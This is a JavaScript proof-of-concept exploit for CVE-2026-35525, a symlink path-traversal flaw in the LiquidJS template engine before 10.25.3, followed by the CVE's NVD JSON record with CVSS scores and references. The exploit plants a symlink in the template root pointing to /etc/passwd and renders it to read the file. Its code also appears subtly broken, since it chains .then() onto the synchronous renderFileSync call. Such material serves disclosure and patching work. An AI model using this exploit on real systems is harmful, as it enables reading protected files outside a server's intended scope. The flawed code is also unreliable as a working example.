CVE-2026-35525

// PoC for CVE-2026-35525 // This requires an environment where you can create symlinks in the template root. const { Liquid } = require('liquidjs'); const fs = require('fs'); const path = require('path'); const engine = new Liquid({ root: '/path/to/templates', extname: '.liquid' }); // Step 1: Attacker creates a symlink inside the allowed root directory // pointing to a sensitive file outside the root (e.g., /etc/passwd) const symlinkPath = path.join('/path/to/templates/partials', 'sensitive.liquid'); const targetFile = '/etc/passwd'; try { fs.symlinkSync(targetFile, symlinkPath); console.log(`Symlink created: ${symlinkPath} -> ${targetFile}`); // Step 2: Trigger the vulnerability by rendering the symlinked file // LiquidJS checks the path string (valid) but reads the real path (invalid) engine.renderFileSync('partials/sensitive') .then(result => { console.log('Exploit successful! Content read:'); console.log(result); }) .catch(err => { console.error('Error:', err); }); } catch (e) { console.error('Failed to create symlink:', e.message); }

{"cve": {"id": "CVE-2026-35525", "sourceIdentifier": "[email protected]", "published": "2026-04-08T20:16:24.913", "lastModified": "2026-04-10T21:19:03.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.3, for {% include %}, {% render %}, and {% layout %}, LiquidJS checks whether the candidate path is inside the configured partials or layouts roots before reading it. That check is path-based, not realpath-based. Because of that, a file like partials/link.liquid passes the directory containment check as long as its pathname is under the allowed root. If link.liquid is actually a symlink to a file outside the allowed root, the filesystem follows the symlink when the file is opened and LiquidJS renders the external target. So the restriction is applied to the path string that was requested, not to the file that is actually read. This matters in environments where an attacker can place templates or otherwise influence files under a trusted template root, including uploaded themes, extracted archives, mounted content, or repository-controlled template trees. This vulnerability is fixed in 10.25.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-61"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:liquidjs:liquidjs:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "10.25.3", "matchCriteriaId": "D2AAC345-0EF3-40DC-928F-0A77E0779B5A"}]}]}], "references": [{"url": "https://github.com/harttle/liquidjs/pull/867", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/harttle/liquidjs/releases/tag/v10.25.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-56p5-8mhr-2fph", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}